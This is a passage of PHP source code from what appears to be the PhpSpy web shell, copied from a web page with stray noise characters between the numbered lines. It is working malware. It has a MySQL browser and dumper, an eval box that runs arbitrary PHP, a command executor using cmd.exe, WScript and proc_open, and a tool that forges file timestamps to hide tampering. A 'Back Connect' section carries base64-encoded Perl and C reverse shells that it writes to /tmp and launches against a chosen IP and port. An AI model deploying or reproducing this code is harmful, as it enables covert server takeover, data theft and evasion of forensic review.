910.                                                 p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
     : Y6 F9 i/ E8 H5 T! @- v8 R7 t
911.                                                 p('<td>'.$row['Field'].'</td>');
     
912.                                                 p('<td>'.$row['Type'].'</td>');
     & [& X6 Z4 }; \! z
913.                                                 p('<td>'.$row['Null'].' </td>');
     " b" Z4 B  v3 ~; Y# |' ]
914.                                                 p('<td>'.$row['Key'].' </td>');
       H. b' Y' m# u3 G0 F1 k6 R$ W; u) b
915.                                                 p('<td>'.$row['Default'].' </td>');
     
916.                                                 p('<td>'.$row['Extra'].' </td>');
     3 O- \! Y! [. A0 c( u
917.                                                 p('</tr>');
     7 ~" t/ m5 s1 B
918.                                         }
     $ F# @& ~1 B, n7 f$ P2 L
919.                                         tbfoot();
     
920.                                 } elseif ($doing == 'insert' || $doing == 'edit') {
     
921.                                         $result = q('SHOW COLUMNS FROM '.$tablename);
     
922.                                         while ($row = mysql_fetch_array($result)) {
     # Y6 e2 W& o, Z$ `4 }/ N' J, `
923.                                                 $rowdb[] = $row;
     9 Y# x. M2 C* q' ]/ J
924.                                         }
     & o4 y, y3 p1 g5 A7 v) j
925.                                         $rs = array();
     
926.                                         if ($doing == 'insert') {
     9 I  g1 _, g; s: D4 l9 p4 Z
927.                                                 p('<h2>Insert new line in '.$tablename.' table »</h2>');
     ) K0 F* j5 c& N6 w& K+ L' @
928.                                         } else {
     
929.                                                 p('<h2>Update record in '.$tablename.' table »</h2>');
     
930.                                                 $where = base64_decode($base64);
     
931.                                                 $result = q("SELECT * FROM $tablename WHERE $where LIMIT 1");
     
932.                                                 $rs = mysql_fetch_array($result);
     0 N+ K) [, P+ S
933.                                         }
     
934.                                         p('<form method="post" action="'.$self.'">');
     6 n9 J% p  Y. r8 q3 S; t
935.                                         p($dbform);
     
936.                                         makehide('action','sqladmin');
     / [6 S4 u- @: s- R
937.                                         makehide('tablename',$tablename);
     
938.                                         p('<table border="0" cellpadding="3" cellspacing="0">');
     
939.                                         foreach ($rowdb as $row) {
     " D  T: {+ @# s! C
940.                                                 if ($rs[$row['Field']]) {
     
941.                                                         $value = htmlspecialchars($rs[$row['Field']]);
     
942.                                                 } else {
     % ~6 Q$ h) v4 g7 R. _' U4 u8 [
943.                                                         $value = '';
     * _0 F% {1 G6 g% j1 N! i% g
944.                                                 }
     
945.                                                 $thisbg = bg();
     
946.                                                 p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
     . D" s! e; @" N& c" y' ~& {1 P( ?
947.                                                 p('<td><b>'.$row['Field'].'</b><br />'.$row['Type'].'</td><td><textarea class="area" name="insertsql['.$row['Field'].']" style="width:500px;height:60px;overflow:auto;">'.$value.'</textarea></td></tr>');
     
948.                                         }
     + i& J: E2 g( f& E4 B1 D- o7 c4 W4 u
949.                                         if ($doing == 'insert') {
     * p1 d) X" f; a& v" j/ `. Z
950.                                                 p('<tr class="'.bg().'"><td colspan="2"><input class="bt" type="submit" name="insert" value="Insert" /></td></tr>');
     
951.                                         } else {
     / [. F5 |5 f0 j% e& U
952.                                                 p('<tr class="'.bg().'"><td colspan="2"><input class="bt" type="submit" name="update" value="Update" /></td></tr>');
     5 b- k% X1 N; T# J6 w1 ^; y
953.                                                 makehide('base64', $base64);
     
954.                                         }
     - O4 S* J) T. O1 d) n0 |2 A
955.                                         p('</table></form>');
     ' m: F3 m$ c5 v
956.                                 } else {
     0 d" D# \# \/ R; [) h/ c* W
957.                                         $querys = @explode(';',$sql_query);
     
958.                                         foreach($querys as $num=>$query) {
     8 V2 c8 ^- F% j: x/ a
959.                                                 if ($query) {
       }* X. a: g# ]9 X! D- y3 v
960.                                                         p("<p><b>Query#{$num} : ".htmlspecialchars($query,ENT_QUOTES)."</b></p>");
     7 e1 S$ F0 R% z& d; Y% @
961.                                                         switch(qy($query))
     
962.                                                         {
     & z# F$ H8 l! l% O  Z4 K
963.                                                                 case 0:
     : q: u5 J- C; t! t7 W; R( t
964.                                                                         p('<h2>Error : '.mysql_error().'</h2>');
     
965.                                                                         break;       
     
966.                                                                 case 1:
     
967.                                                                         if (strtolower(substr($query,0,13)) == 'select * from') {
     / ]* g7 N# ^, b; `
968.                                                                                 $allowedit = 1;
     4 w$ D. Y' B8 ]6 f6 E2 h
969.                                                                         }
     
970.                                                                         if ($getnumsql) {
     9 f) |. l! `& C6 W) s% ]
971.                                                                                 $tatol = mysql_num_rows(q($getnumsql));
     " \( r1 t, T+ H, \
972.                                                                                 $multipage = multi($tatol, $pagenum, $page, $tablename);
       }* E1 ^! N. Y( S
973.                                                                         }
     
974.                                                                         if (!$tablename) {
     
975.                                                                                 $sql_line = str_replace(array("\r", "\n", "\t"), array(' ', ' ', ' '), trim(htmlspecialchars($query)));
     . N& V8 a- k9 o2 R, O' x
976.                                                                                 $sql_line = preg_replace("/\/\*[^(\*\/)]*\*\//i", " ", $sql_line);
     * C7 g3 K$ W# f, \$ K
977.                                                                                 preg_match_all("/from\s+`{0,1}([\w]+)`{0,1}\s+/i",$sql_line,$matches);
     " ]- Q" n0 s  b( m# |2 M# Z" L
978.                                                                                 $tablename = $matches[1][0];
     
979.                                                                         }
     8 N& g- l7 z, x( d7 K
980.                                                                         $result = q($query);
     , c0 K9 x7 B9 u3 H) L/ n
981.                                                                         p($multipage);
     
982.                                                                         p('<table border="0" cellpadding="3" cellspacing="0">');
     ( g6 O  t% Q0 N3 n
983.                                                                         p('<tr class="head">');
     
984.                                                                         if ($allowedit) p('<td>Action</td>');
     . N( J6 ~" X& x# `' a
985.                                                                         $fieldnum = @mysql_num_fields($result);
     
986.                                                                         for($i=0;$i<$fieldnum;$i++){
     / a0 V: k4 ^9 \/ W& h& P; Z
987.                                                                                 $name = @mysql_field_name($result, $i);
     
988.                                                                                 $type = @mysql_field_type($result, $i);
     2 F! j% w& ]  D0 V' D2 u! J
989.                                                                                 $len = @mysql_field_len($result, $i);
     
990.                                                                                 p("<td nowrap>$name<br><span>$type($len)</span></td>");
     8 r  R- d$ j& z- x4 A
991.                                                                         }
     
992.                                                                         p('</tr>');
     ' T% T- [! S0 R: G
993.                                                                         while($mn = @mysql_fetch_assoc($result)){
     
994.                                                                                 $thisbg = bg();
     2 {# L5 z0 `; F4 B6 h+ _( h9 P4 o
995.                                                                                 p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
     
996.                                                                                 $where = $tmp = $b1 = '';
     
997.                                                                                 foreach($mn as $key=>$inside){
     
998.                                                                                         if ($inside) {
     - d, L: E% R( S. H- E+ B7 I9 [
999.                                                                                                 $where .= $tmp.$key."='".addslashes($inside)."'";
     & L$ _2 h- B2 @
1000.                                                                                                 $tmp = ' AND ';
      + Y3 O' T' m) c
1001.                                                                                         }
      
1002.                                                                                         $b1 .= '<td nowrap>'.html_clean($inside).' </td>';
      ) R8 W* H$ ]: U% _6 S
1003.                                                                                 }
      
1004.                                                                                 $where = base64_encode($where);
      
1005.                                                                                 if ($allowedit) p('<td nowrap><a href="javascript:editrecord(\'edit\', \''.$where.'\', \''.$tablename.'\');">Edit</a> | <a href="javascript:editrecord(\'del\', \''.$where.'\', \''.$tablename.'\');">Del</a></td>');
      ( a  y0 J7 i, A' }$ }
1006.                                                                                 p($b1);
      ; P% j' y# r3 l* ~
1007.                                                                                 p('</tr>');
      
1008.                                                                                 unset($b1);
      3 [: [) U5 h3 g8 d
1009.                                                                         }
      . c( V7 }0 `/ N3 r
1010.                                                                         tbfoot();
      
1011.                                                                         p($multipage);
      
1012.                                                                         break;       
      * j$ y5 |4 S: v
1013.                                                                 case 2:
      : h- M: i6 Q/ \* ]- T6 o; E. U- q
1014.                                                                         $ar = mysql_affected_rows();
      
1015.                                                                         p('<h2>affected rows : <b>'.$ar.'</b></h2>');
      % p5 a  g0 y/ }( }5 d5 @
1016.                                                                         break;
      $ p% [( z. H/ O# ~
1017.                                                         }
      ) u% W- ]+ c4 w0 G# o2 M9 P4 G
1018.                                                 }
      
1019.                                         }
      
1020.                                 }
      % [$ v5 ~+ ?! B0 }. D% e
1021.                         } else {
      - X7 C' h4 @0 T6 }3 r" H$ v  s' S/ G0 }
1022.                                 $query = q("SHOW TABLE STATUS");
      
1023.                                 $table_num = $table_rows = $data_size = 0;
      
1024.                                 $tabledb = array();
      9 b; N* C* b  N$ r+ z8 f
1025.                                 while($table = mysql_fetch_array($query)) {
      " r2 ?9 B+ U! w, d
1026.                                         $data_size = $data_size + $table['Data_length'];
      
1027.                                         $table_rows = $table_rows + $table['Rows'];
      
1028.                                         $table['Data_length'] = sizecount($table['Data_length']);
      ( `3 X# ]4 k% P+ S# V: K4 s7 J
1029.                                         $table_num++;
      : C2 N' P$ }8 y; Q9 p. d5 a# f
1030.                                         $tabledb[] = $table;
      0 @, d6 R: Z1 A+ I8 V' F
1031.                                 }
      
1032.                                 $data_size = sizecount($data_size);
      
1033.                                 unset($table);
      8 l2 @8 U& o+ f2 \
1034.                                 p('<table border="0" cellpadding="0" cellspacing="0">');
      / y/ O  x9 e8 w; o9 {; t: V7 v( R" R
1035.                                 p('<form action="'.$self.'" method="POST">');
      ' V0 O! S9 P; i3 n2 ]  X0 r$ I
1036.                                 makehide('action','sqladmin');
      # ]/ E- @% {! T  W" j
1037.                                 p($dbform);
      
1038.                                 p('<tr class="head">');
      
1039.                                 p('<td width="2%" align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td>');
      9 I! ?" \+ a" u) ?
1040.                                 p('<td>Name</td>');
      5 [$ o  v# N1 u: z# u
1041.                                 p('<td>Rows</td>');
      
1042.                                 p('<td>Data_length</td>');
      + I0 u% Z6 C; H4 |" Q
1043.                                 p('<td>Create_time</td>');
      
1044.                                 p('<td>Update_time</td>');
      9 Y3 O3 Z" B1 Q4 z
1045.                                 if ($highver) {
      * `* L4 u% s- Y# f( l! M
1046.                                         p('<td>Engine</td>');
      
1047.                                         p('<td>Collation</td>');
      8 G) G5 [2 K8 ~& G
1048.                                 }
      6 A0 a" V1 ]5 N8 v, F9 u
1049.                                 p('</tr>');
      . h, `4 y! U, n1 m5 F
1050.                                 foreach ($tabledb as $key => $table) {
      
1051.                                         $thisbg = bg();
      7 V# p: R' V6 U4 w- V3 n% w
1052.                                         p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
      4 C) T6 C0 P; i
1053.                                         p('<td align="center" width="2%"><input type="checkbox" name="table[]" value="'.$table['Name'].'" /></td>');
      ( Y8 G1 L* _6 u4 _' P# H8 W- v; N" b
1054.                                         p('<td><a href="javascript:settable(\''.$table['Name'].'\');">'.$table['Name'].'</a> [ <a href="javascript:settable(\''.$table['Name'].'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'drop\');">Drop</a> ]</td>');
      : f5 c7 p2 e, m' z& u9 p
1055.                                         p('<td>'.$table['Rows'].'</td>');
      + z! O  e) G: e6 h% K
1056.                                         p('<td>'.$table['Data_length'].'</td>');
      % P& O$ I* c& P! j) C# a' m
1057.                                         p('<td>'.$table['Create_time'].'</td>');
      
1058.                                         p('<td>'.$table['Update_time'].'</td>');
      
1059.                                         if ($highver) {
      
1060.                                                 p('<td>'.$table['Engine'].'</td>');
      
1061.                                                 p('<td>'.$table['Collation'].'</td>');
      
1062.                                         }
      " l* `7 i: r' ~( M$ ]  t
1063.                                         p('</tr>');
      , v0 h5 }3 `( W4 s
1064.                                 }
      / N" A9 q0 T. h+ i! V! k* G
1065.                                 p('<tr class='.bg().'>');
      
1066.                                 p('<td> </td>');
      
1067.                                 p('<td>Total tables: '.$table_num.'</td>');
      4 Z1 T; p1 o) @2 u  H# p8 G3 q: }: D9 ~
1068.                                 p('<td>'.$table_rows.'</td>');
      . \! e# p- n0 ~/ R6 K/ K* p$ R/ A# \
1069.                                 p('<td>'.$data_size.'</td>');
      
1070.                                 p('<td colspan="'.($highver ? 4 : 2).'"> </td>');
      
1071.                                 p('</tr>');
      
1072.                                 p("<tr class="".bg().""><td colspan="".($highver ? 8 : 6).""><input name="saveasfile" value="1" type="checkbox" /> Save as file <input class="input" name="path" value="".SA_ROOT.$_SERVER['HTTP_HOST']."_MySQL.sql" type="text" size="60" /> <input class="bt" type="submit" name="downrar" value="Export selection table" /></td></tr>");
      
1073.                                 makehide('doing','backupmysql');
      
1074.                                 formfoot();
      ' S, z: s4 z. s4 o8 }
1075.                                 p("</table>");
      
1076.                                 fr($query);
      3 J# x$ J0 \! E) `9 |; e( v# O% Y
1077.                         }
      
1078.                 }
      
1079.         }
      8 D9 \) J. o  W1 P" B: h
1080.         tbfoot();
      
1081.         @mysql_close();
      
1082. }//end sql backup
      
1083. elseif ($action == 'backconnect') {
      
1084.         !$yourip && $yourip = $_SERVER['REMOTE_ADDR'];
      2 h, y) R3 S5 J% \1 ^* U9 E9 j0 }
1085.         !$yourport && $yourport = '12345';
      ' i7 r* A1 q, q: P2 o
1086.         $usedb = array('perl'=>'perl','c'=>'c');
        ?( ^& j1 N2 R+ M
1087.         $back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
      
1088.                 "aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
      
1089.                 "hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
      
1090.                 "sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
      ( ^$ v2 ?; @% J
1091.                 "kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
      % R" Z& F+ }9 ]$ ?& L  i1 r- q
1092.                 "KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
      
1093.                 "OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
      
1094.         $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC".
        [" X0 ]% c5 K5 z; \
1095.                 "BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb".
      
1096.                 "SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd".
      
1097.                 "KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ".
      ; c+ i4 t* U  i* o- _/ z$ j
1098.                 "sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC".
      
1099.                 "Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D".
      % O6 p: ~$ v; U
1100.                 "QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp".
      
1101.                 "Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";
      : Q  y* g  p( X; s% Z' ^
1102.         if ($start && $yourip && $yourport && $use){
      
1103.                 if ($use == 'perl') {
      
1104.                         cf('/tmp/angel_bc',$back_connect);
      
1105.                         $res = execute(which('perl')." /tmp/angel_bc $yourip $yourport &");
      
1106.                 } else {
      
1107.                         cf('/tmp/angel_bc.c',$back_connect_c);
      ; z8 H( t8 |" k
1108.                         $res = execute('gcc -o /tmp/angel_bc /tmp/angel_bc.c');
      2 x9 g8 ?6 L; E" [$ V6 \
1109.                         @unlink('/tmp/angel_bc.c');
      
1110.                         $res = execute("/tmp/angel_bc $yourip $yourport &");
      
1111.                 }
      
1112.                 m("Now script try connect to $yourip port $yourport ...");
      . X, O" `" B, H3 F, r
1113.         }
      1 g% B  B1 d4 j: h7 \, Z* |$ y2 ^
1114.         formhead(array('title'=>'Back Connect'));
      
1115.         makehide('action','backconnect');
      8 o3 G, _- F; M6 \3 Y2 x( G5 x
1116.         p('<p>');
      - w% i  W& E& A, @' v, m% ^
1117.         p('Your IP:');
      
1118.         makeinput(array('name'=>'yourip','size'=>20,'value'=>$yourip));
      / Z( `1 X* B0 G$ G3 k, m& }
1119.         p('Your Port:');
      
1120.         makeinput(array('name'=>'yourport','size'=>15,'value'=>$yourport));
      * ~3 Y" i' C$ L/ N1 Q
1121.         p('Use:');
      
1122.         makeselect(array('name'=>'use','option'=>$usedb,'selected'=>$use));
      1 }7 M5 o( J+ H6 ?6 |
1123.         makeinput(array('name'=>'start','value'=>'Start','type'=>'submit','class'=>'bt'));
      
1124.         p('</p>');
      . j8 m! Q' ]9 l% q' k& l
1125.         formfoot();
      + ~' o. [4 r% j& O7 I
1126. }//end sql backup
      
1127. elseif ($action == 'eval') {
      . W  r$ q6 e: G. Y7 C6 A
1128.         $phpcode = trim($phpcode);
      
1129.         if($phpcode){
      
1130.                 if (!preg_match('#<\?#si', $phpcode)) {
      0 f4 y0 ]4 C) b! E( v# Y5 V
1131.                         $phpcode = "<?php\n\n{$phpcode}\n\n?>";
      8 }# r9 q5 d4 f8 y$ M
1132.                 }
      
1133.                 eval("?".">$phpcode<?");
      
1134.         }
      
1135.         formhead(array('title'=>'Eval PHP Code'));
      
1136.         makehide('action','eval');
      
1137.         maketext(array('title'=>'PHP Code','name'=>'phpcode', 'value'=>$phpcode));
      3 p( w8 I0 o- \8 h# F
1138.         p('<p><a href="http://www.4ngel.net/phpspy/plugin/" target="_blank">Get plugins</a></p>');
      ' e8 R8 W/ W* J4 i5 @$ V, G# S
1139.         formfooter();
      
1140. }//end eval
      : }0 H) V: V& q* ]( h1 [* r4 z: P5 {3 ?
1141. 
      
1142. elseif ($action == 'editfile') {
      
1143.         if(file_exists($opfile)) {
      & W: L" g/ g7 m' p" W
1144.                 $fp=@fopen($opfile,'r');
      
1145.                 $contents=@fread($fp, filesize($opfile));
      
1146.                 @fclose($fp);
      
1147.                 $contents=htmlspecialchars($contents);
      + S; ?: ?+ ]) `! |
1148.         }
      
1149.         formhead(array('title'=>'Create / Edit File'));
      : ?  Z% ?& d2 _! ^) U$ w+ {
1150.         makehide('action','file');
      , g& f9 [' z+ S* A5 ?! R0 _+ X
1151.         makehide('dir',$nowpath);
      
1152.         makeinput(array('title'=>'Current File (import new file name and new file)','name'=>'editfilename','value'=>$opfile,'newline'=>1));
      9 t' J( z5 w! r3 B6 K  n4 ]
1153.         maketext(array('title'=>'File Content','name'=>'filecontent','value'=>$contents));
      
1154.         formfooter();
      ' f! o! I! h; t- r
1155. }//end editfile
      5 D! b5 w7 u& p$ H5 j) x! C
1156. 
      # I+ X! O8 {- s! _; Y7 c- Z# i
1157. elseif ($action == 'newtime') {
      ! K$ d. B! z7 [& t
1158.         $opfilemtime = @filemtime($opfile);
      
1159.         //$time = strtotime("$year-$month-$day $hour:$minute:$second");
      
1160.         $cachemonth = array('January'=>1,'February'=>2,'March'=>3,'April'=>4,'May'=>5,'June'=>6,'July'=>7,'August'=>8,'September'=>9,'October'=>10,'November'=>11,'December'=>12);
      
1161.         formhead(array('title'=>'Clone file was last modified time'));
      
1162.         makehide('action','file');
      
1163.         makehide('dir',$nowpath);
      
1164.         makeinput(array('title'=>'Alter file','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));
      4 X/ R2 i4 k+ h# a+ L' W6 x* \
1165.         makeinput(array('title'=>'Reference file (fullpath)','name'=>'tarfile','size'=>120,'newline'=>1));
      
1166.         formfooter();
      9 |- ]4 `' U0 N1 p) D
1167.         formhead(array('title'=>'Set last modified'));
      ( {* Y0 E! L0 @3 c; G8 ]3 I9 F
1168.         makehide('action','file');
      ( L& h' l6 @! J2 e% a% j, @
1169.         makehide('dir',$nowpath);
      
1170.         makeinput(array('title'=>'Current file (fullpath)','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));
      , N" ]1 S  @  g
1171.         p('<p>Instead »');
      
1172.         p('year:');
      
1173.         makeinput(array('name'=>'year','value'=>date('Y',$opfilemtime),'size'=>4));
      4 {+ L( ?% x' D3 Y5 o
1174.         p('month:');
      
1175.         makeinput(array('name'=>'month','value'=>date('m',$opfilemtime),'size'=>2));
      - h1 W0 O, k7 K0 e) Q" S  _  J
1176.         p('day:');
      6 Y% V! T0 ]! h6 M+ s- Q6 C. ^
1177.         makeinput(array('name'=>'day','value'=>date('d',$opfilemtime),'size'=>2));
      $ |0 t) u) p5 W+ P
1178.         p('hour:');
      4 T, u9 K8 D4 [' n0 t. ~% ?' g
1179.         makeinput(array('name'=>'hour','value'=>date('H',$opfilemtime),'size'=>2));
      3 j: U' G! i5 W3 f- Z& Z/ @
1180.         p('minute:');
      
1181.         makeinput(array('name'=>'minute','value'=>date('i',$opfilemtime),'size'=>2));
      
1182.         p('second:');
      ( V( k/ ]' B/ G) d
1183.         makeinput(array('name'=>'second','value'=>date('s',$opfilemtime),'size'=>2));
      ' L$ e8 f# T7 P! N# S
1184.         p('</p>');
      / N  z/ ~& A$ @
1185.         formfooter();
      " }1 s+ Q! p0 N0 f: H
1186. }//end newtime
      
1187. 
      : e& _+ U$ C! k
1188. elseif ($action == 'shell') {
      
1189.         if (IS_WIN && IS_COM) {
      
1190.                 if($program && $parameter) {
      $ N& y9 H. m7 M5 ~( n- w4 |
1191.                         $shell= new COM('Shell.Application');
      ; w' y1 V% C' T- m* W
1192.                         $a = $shell->ShellExecute($program,$parameter);
      ( }; B5 \$ ^, D+ \
1193.                         m('Program run has '.(!$a ? 'success' : 'fail'));
        w- D& |$ T$ @
1194.                 }
      
1195.                 !$program && $program = 'c:\windows\system32\cmd.exe';
      # g( l- B7 p0 N* \' N1 D! ~$ J& L
1196.                 !$parameter && $parameter = '/c net start > '.SA_ROOT.'log.txt';
      
1197.                 formhead(array('title'=>'Execute Program'));
      ; {) N8 m' o: }! {3 ]
1198.                 makehide('action','shell');
      
1199.                 makeinput(array('title'=>'Program','name'=>'program','value'=>$program,'newline'=>1));
      . G3 M, P5 s" c( v
1200.                 p('<p>');
      
1201.                 makeinput(array('title'=>'Parameter','name'=>'parameter','value'=>$parameter));
      ; N. S! t: J6 t0 r
1202.                 makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));
      & [7 \, |# y  g8 B
1203.                 p('</p>');
      
1204.                 formfoot();
      * ~; M( O) n* S7 |. w5 ~8 A7 m
1205.         }
      
1206.         formhead(array('title'=>'Execute Command'));
      
1207.         makehide('action','shell');
      
1208.         if (IS_WIN && IS_COM) {
      * b0 H1 P/ ^4 d+ N
1209.                 $execfuncdb = array('phpfunc'=>'phpfunc','wscript'=>'wscript','proc_open'=>'proc_open');
      
1210.                 makeselect(array('title'=>'Use:','name'=>'execfunc','option'=>$execfuncdb,'selected'=>$execfunc,'newline'=>1));
      9 t  o; H3 ]& X. U, z
1211.         }
      0 a# d' Q( ?% z4 ^% ~
1212.         p('<p>');
      + a, i, y; f% f: @. d5 T: s
1213.         makeinput(array('title'=>'Command','name'=>'command','value'=>$command));
      $ B2 u& R$ D& q7 v
1214.         makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));
      
1215.         p('</p>');
      4 J/ x0 n; J: a$ m5 C7 x& c
1216.         formfoot();
      
1217. 
      
1218.         if ($command) {
      
1219.                 p('<hr width="100%" noshade /><pre>');
      1 T9 N7 R! B8 |. L8 t! L5 Q9 W
1220.                 if ($execfunc=='wscript' && IS_WIN && IS_COM) {
      . x$ o9 `7 ]; ^+ L& G
1221.                         $wsh = new COM('WScript.shell');
      ' z$ J5 R# `; q/ k
1222.                         $exec = $wsh->exec('cmd.exe /c '.$command);
      
1223.                         $stdout = $exec->StdOut();
      7 c) C! |4 i. s) U1 B
1224.                         $stroutput = $stdout->ReadAll();
      
1225.                         echo $stroutput;
      
1226.                 } elseif ($execfunc=='proc_open' && IS_WIN && IS_COM) {
      , ?3 q( ?1 q) a% l0 l! i: M/ }0 D9 j
1227.                         $descriptorspec = array(
      ; J' F: u  P2 I3 ~* a
1228.                            0 => array('pipe', 'r'),
      
1229.                            1 => array('pipe', 'w'),
        N( n) D! N1 H$ o
1230.                            2 => array('pipe', 'w')
      
1231.                         );
      
1232.                         $process = proc_open($_SERVER['COMSPEC'], $descriptorspec, $pipes);
      
1233.                         if (is_resource($process)) {
      
1234.                                 fwrite($pipes[0], $command."\r\n");
      - [$ y' p5 S, p
1235.                                 fwrite($pipes[0], "exit\r\n");
      / u0 _7 I9 c6 W% ^: l; A% z
1236.                                 fclose($pipes[0]);
      
1237.                                 while (!feof($pipes[1])) {
      
1238.                                         echo fgets($pipes[1], 1024);
      2 q: x. t4 Z, N
1239.                                 }
      # k' H$ x2 I9 _3 ?2 ?3 G2 t4 O
1240.                                 fclose($pipes[1]);
      
1241.                                 while (!feof($pipes[2])) {
      # c# ~1 w3 L( T) |
1242.                                         echo fgets($pipes[2], 1024);
      - D1 K  p5 H1 d: o1 o
1243.                                 }
      % }0 w. j* Z! d8 s5 T
1244.                                 fclose($pipes[2]);
      
1245.                                 proc_close($process);
      ) w! v" z3 c/ y2 n  X; y+ X. w; N; K
1246.                         }
      ; e; _0 m4 Q& p6 w
1247.                 } else {
      6 r" o% m9 g( a% i6 K: r/ ~
1248.                         echo(execute($command));
      7 z- _- ~* i5 ]/ s0 Z
1249.                 }
      ) N5 ]) N: W$ l8 T; U( x
1250.                 p('</pre>');
      ) U4 Q4 j$ j/ b; Y) X
1251.         }
      9 T8 D& b, j8 i- z
1252. }//end shell
      / e3 F7 c: C% X" r) l/ w& R
1253. 
      7 o8 @4 F% K+ s
1254. elseif ($action == 'phpenv') {
      ( n( Z, k' N/ p/ h0 r
1255.         $upsize=getcfg('file_uploads') ? getcfg('upload_max_filesize') : 'Not allowed';
      
1256.         $adminmail=isset($_SERVER['SERVER_ADMIN']) ? $_SERVER['SERVER_ADMIN'] : getcfg('sendmail_from');
      + h5 U# r$ c1 ]0 m3 `7 W; X- E0 |
1257.         !$dis_func && $dis_func = 'No';       
      : @2 d; @9 f7 {1 U/ t1 j  }8 C! ]
1258.         $info = array(
      ! B' n4 C! M. W! ?2 l. e" h
1259.                 1 => array('Server Time',date('Y/m/d h:i:s',$timestamp)),
      
1260.                 2 => array('Server Domain',$_SERVER['SERVER_NAME']),
      $ \6 c; d3 R! Z& V
1261.                 3 => array('Server IP',gethostbyname($_SERVER['SERVER_NAME'])),
      
1262.                 4 => array('Server OS',PHP_OS),
      8 y4 ~# [% M7 |. k" W* b& ]
1263.                 5 => array('Server OS Charset',$_SERVER['HTTP_ACCEPT_LANGUAGE']),
      0 U' Y3 W7 P9 j: D- H/ a
1264.                 6 => array('Server Software',$_SERVER['SERVER_SOFTWARE']),
      7 n4 U$ g* Y4 j' N  f9 e
1265.                 7 => array('Server Web Port',$_SERVER['SERVER_PORT']),
      
1266.                 8 => array('PHP run mode',strtoupper(php_sapi_name())),
      
1267.                 9 => array('The file path',__FILE__),
      & O& {3 [' l& V1 j) ?
1268. 
      
1269.                 10 => array('PHP Version',PHP_VERSION),
      + w" P0 v4 r- T' h% D/ v  `
1270.                 11 => array('PHPINFO',(IS_PHPINFO ? '<a href="javascript:goaction(\'phpinfo\');">Yes</a>' : 'No')),
      
1271.                 12 => array('Safe Mode',getcfg('safe_mode')),
      . s4 ~7 F, ^. A+ Y. J* T; t3 U
1272.                 13 => array('Administrator',$adminmail),
      
1273.                 14 => array('allow_url_fopen',getcfg('allow_url_fopen')),
      1 t5 E: c2 s: @8 H: T( ^
1274.                 15 => array('enable_dl',getcfg('enable_dl')),
      - A0 F: e& d, C0 }0 f# {+ r
1275.                 16 => array('display_errors',getcfg('display_errors')),
      
1276.                 17 => array('register_globals',getcfg('register_globals')),
      
1277.                 18 => array('magic_quotes_gpc',getcfg('magic_quotes_gpc')),
      
1278.                 19 => array('memory_limit',getcfg('memory_limit')),
      
1279.                 20 => array('post_max_size',getcfg('post_max_size')),
      : K" V  i) E- D; `# M/ c/ z, T
1280.                 21 => array('upload_max_filesize',$upsize),
